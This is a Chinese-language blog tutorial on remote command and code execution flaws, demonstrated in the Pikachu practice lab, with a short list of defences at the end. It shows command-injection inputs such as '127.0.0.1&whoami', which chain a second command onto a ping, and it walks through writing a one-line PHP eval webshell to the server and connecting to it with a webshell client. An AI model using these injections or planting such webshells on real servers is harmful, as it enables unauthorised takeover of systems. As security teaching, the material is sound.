【网络安全】-rce漏洞-pikachu

rce漏洞包含命令执行漏洞与代码执行漏洞

文章目录

前言 什么是rce漏洞?

1.rce漏洞产生原因:

2.rce的分类:

  命令执行漏洞:

   命令拼接符:

   常用函数:

 代码执行漏洞:

   常用函数:

   分类:

3.防御措施:

总结


前言 什么是rce漏洞?

由于应用程序在处理用户输入时未能正确验证、过滤或限制输入数据,导致hacker能通过网络在目标系统上执行任意代码或命令,从而完全控制受影响的系统。


1.rce漏洞产生原因:

在研发员开发中,为了考虑代码的灵活性与简洁性,会调用能将字符串转化成代码的函数去处理,但是研发员调用这些函数,没有考虑hacker能控制这个字符串或命令,造成代码执行漏洞与命令执行漏。

2.rce的分类:

命令执行漏洞:

实例:pikachu靶场

输入:127.0.0.1

输入:恶意命令whoami查看隐私信息:

报错。

但是我们用命令拼接符&拼接:127.0.0.1&whoami (ping 127.0.0.1 正确命令 & whoami 正确命令(限制))

输出whoami信息,说明服务器对输入的恶意命令做了限制,但我们可以进行命令拼接绕过限制,输入我们的恶意命令。

命令拼接符:

定义:把两条以上的命令拼接在一起的特殊符号。

Windows系统命令拼接符:

&:拼接符两边只要有一个为真就执行

实例:

回显本地ip地址

ifconfig&whoami (ifconfig Lunx命令 错误命令 & 正确命令(限制))

&&:命令拼接符拼接多个命令时,遇到假的终止执行

ifconfig&&whoami (ifconfig Lunx命令 错误命令 & 正确命令(限制))

|:命令拼接符拼接多个命令时,只要有一个为假都不执行; 如果为真都执行,但只是回显最后一个命令的运行结果;

Ifconfig|127.0.0.1 (ifconfig Lunx命令 错误命令 & 正确命令)

127.0.0.1|ifconfig (ping 127.0.0.1 正确命令 &(ifconfig Lunx命令 错误命令))

直接返回如下页面:

127.0.0.1|whoami (ping 127.0.0.1 正确命令 & whoami 正确命令(限制))

||:命令拼接符拼接多个命令时,按顺序执行,遇到真的就执行且只执行一次;

ifconfig||127.0.0.1 (ifconfig Lunx命令 错误命令 & 正确命令)

127.0.0.1||ifconfig (ping 127.0.0.1 正确命令 &(ifconfig Lunx命令 错误命令))

127.0.0.1||whoami (ping 127.0.0.1 正确命令 & whoami 正确命令(限制))

Linux系统命令拼接符:

;:无论拼接的命令为真还是为假都按照顺序执行命令;

&:无论命令为真或者为假,都执行但不按照顺序执行;

&&:如果都为真时按照顺序执行;如果存在假的测终止执行

||:按顺序执行,遇到真的就执行且只执行一次;

常用函数:

system()函数:执行外部程序并显示输出

exec()函数:执行一个外部程序

shell_exec()函数:通过shell环境执行命令,并以字符串的形式返回输出

passthru()函数:执行外部命令并显示原始输出

pentl_exec函数:在当前进程空间执行指定程序

代码执行漏洞:
常用函数:

eval(),assert()函数:把字符串作为PHP代码执行

call_user_func()函数:把第一参数作为回调函数

call user func array()函数:调用回调函数,并把第一个数组参数作为回函调数的参数

arry_map()函数:为数组的每个元素应用回调函数

分类:

本地代码执行漏洞:利用本地漏洞来执行恶意代码。

必须先获得对目标系统的部分访问权限,通常是通过物理访问或已有账户登录,进入服务器后,找到输入框来执行恶意代码。

远程代码执行漏洞:从互联网执行恶意代码,

它允许攻击者不受限制地控制目标系统。

不需要物理访问或现有访问权限,它允许hacker不受限制地控制目标系统。

实例:pikachu远程代码执行命令:

rec_php文件,直接解析php代码试试?

用phpinfo();代码:

解析成功。

我们还可以进一步操作拿到webshell:

步骤:在rce_ping.php中输入127.0.0.1 &dir查看文件

有rce_php,rce_eval.php,rce_ping.php,说明我们要是上传一个码子上去,与,rce_eval.php路径相同。

开搞:127.0.0.1 & echo "<?php @eval($_POSTcmd); ?>" > rce1.php //码子

再次在rce_ping.php中输入127.0.0.1 &dir查看文件,可以看到我们的码子

然后输入url验证一下:

因为码子上与,rce_eval.php路径相同。

rce_eval.php路径:http://pikachu-master/vul/rce/rce_eval.php

码子路径: http://pikachu-master/vul/rce/rce1.php

用中国蚁剑连接:

步骤:右键,添加数据。

只管url地址:码子的url

连接密码:一句话木马<?php @eval($_POSTcmd); ?>中 里的cmd.

点击测试连接显示连接成功。

3.防御措施:

输入验证和过滤:确保所有用户输入都经过严格的验证和过滤,避免恶意数据进入系统。

启用防御性编程:在开发中使用安全的编码实践,例如避免直接执行用户输入的命令或查询。

使用沙箱技术:将应用程序运行在受限的环境中,防止恶意代码影响整个系统。


总结

RCE漏洞是一种严重的安全漏洞类型,对系统安全构成重大威胁。

相关推荐
漂流瓶jz5 小时前
Webpack如何实现万物皆可import?loader的使用/配置/手写实践
前端·javascript·webpack
ZC跨境爬虫6 小时前
跟着 MDN 学CSS day_41:显式轨道、隐式网格与区域命名放置
前端·javascript·css·ui·交互
修己xj7 小时前
告别手动存图!这款叫 Fatkun 的浏览器插件,简直是素材收集神器
前端
针叶7 小时前
Google Play加固保护导致的崩溃
android·安全·google
袋鼠云数栈7 小时前
从前端到基础设施,ACOS 如何打通企业全链路可观测
运维·前端·人工智能·数据治理·数据智能
AskHarries7 小时前
系统提示词、开发者指令和用户输入的优先级
java·前端·数据库
黎阳之光8 小时前
视频孪生智护供水生命线:黎阳之光赋能医疗与园区水务高质量升级
运维·物联网·算法·安全·数字孪生
Moment8 小时前
长上下文会最终杀死 Rag 吗?
前端·javascript·后端
qcx238 小时前
【系统学AI】25 论文导读 ①:两篇改变 AI 的开山之作——Attention Is All You Need & ReAct
前端·人工智能·react.js·transformer
kyriewen9 小时前
大文件上传最全指南:分片、断点续传、秒传,一篇就够了
前端·javascript·面试